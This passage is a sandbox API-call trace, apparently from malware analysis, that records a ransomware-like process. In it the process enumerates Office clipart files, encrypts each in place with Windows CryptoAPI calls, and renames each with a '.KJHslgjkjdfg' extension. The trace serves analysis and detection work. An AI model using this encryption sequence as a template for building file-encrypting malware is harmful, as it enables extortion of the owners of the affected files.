| out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.346] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.346] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.346] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.346] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.346] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.346] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.346] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7f68, lpOverlapped=0x0) returned 1 [0162.348] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f70, dwBufLen=0x7f70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7f70) returned 1 [0162.348] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.348] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7f70, lpOverlapped=0x0) returned 1 [0162.349] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.349] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.349] SetEndOfFile (hFile=0x114) returned 1 [0162.352] GetProcessHeap () returned 0x2a0000 [0162.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.352] GetProcessHeap () returned 0x2a0000 [0162.352] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.kjhslgjkjdfg")) returned 1 [0162.353] CloseHandle (hObject=0x114) returned 1 [0162.353] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1 [0162.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.355] GetProcessHeap () returned 0x2a0000 [0162.355] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.356] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.356] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.356] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.358] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.358] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.358] GetProcessHeap () returned 0x2a0000 [0162.358] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.358] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.358] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.358] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.358] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.359] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.359] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.359] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.359] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.359] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.359] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.359] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3ee8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3ee8, lpOverlapped=0x0) returned 1 [0162.360] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ef0) returned 1 [0162.360] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.360] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ef0, lpOverlapped=0x0) returned 1 [0162.361] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.361] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.361] SetEndOfFile (hFile=0x114) returned 1 [0162.364] GetProcessHeap () returned 0x2a0000 [0162.364] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.364] GetProcessHeap () returned 0x2a0000 [0162.364] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.kjhslgjkjdfg")) returned 1 [0162.365] CloseHandle (hObject=0x114) returned 1 [0162.365] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1 [0162.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.366] GetProcessHeap () returned 0x2a0000 [0162.366] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.366] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.366] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.366] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0162.369] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.369] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.369] GetProcessHeap () returned 0x2a0000 [0162.369] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.369] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.369] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.369] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.369] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.369] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.369] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.369] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.369] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.370] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.370] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.370] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.370] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3e74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3e74, lpOverlapped=0x0) returned 1 [0162.371] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3e80, dwBufLen=0x3e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3e80) returned 1 [0162.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.371] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3e80, lpOverlapped=0x0) returned 1 [0162.371] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.371] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.371] SetEndOfFile (hFile=0x114) returned 1 [0162.374] GetProcessHeap () returned 0x2a0000 [0162.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.374] GetProcessHeap () returned 0x2a0000 [0162.374] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.374] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.kjhslgjkjdfg")) returned 1 [0162.375] CloseHandle (hObject=0x114) returned 1 [0162.376] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1 [0162.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.377] GetProcessHeap () returned 0x2a0000 [0162.377] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.377] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.377] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.377] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.380] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.380] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.380] GetProcessHeap () returned 0x2a0000 [0162.380] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.380] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.380] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.381] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.381] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.381] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.381] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.381] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.381] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.381] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6978, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6978, lpOverlapped=0x0) returned 1 [0162.382] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6980, dwBufLen=0x6980 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6980) returned 1 [0162.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.383] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6980, lpOverlapped=0x0) returned 1 [0162.383] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.383] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.383] SetEndOfFile (hFile=0x114) returned 1 [0162.386] GetProcessHeap () returned 0x2a0000 [0162.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.386] GetProcessHeap () returned 0x2a0000 [0162.386] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.386] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.kjhslgjkjdfg")) returned 1 [0162.388] CloseHandle (hObject=0x114) returned 1 [0162.388] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1 [0162.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.388] GetProcessHeap () returned 0x2a0000 [0162.388] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.388] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.389] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.389] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.389] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.389] GetProcessHeap () returned 0x2a0000 [0162.389] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.389] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.389] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.389] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.391] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.391] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.392] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.392] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.392] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.392] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.392] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.392] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.392] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2bd0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2bd0, lpOverlapped=0x0) returned 1 [0162.393] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2bd0, dwBufLen=0x2bd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2bd0) returned 1 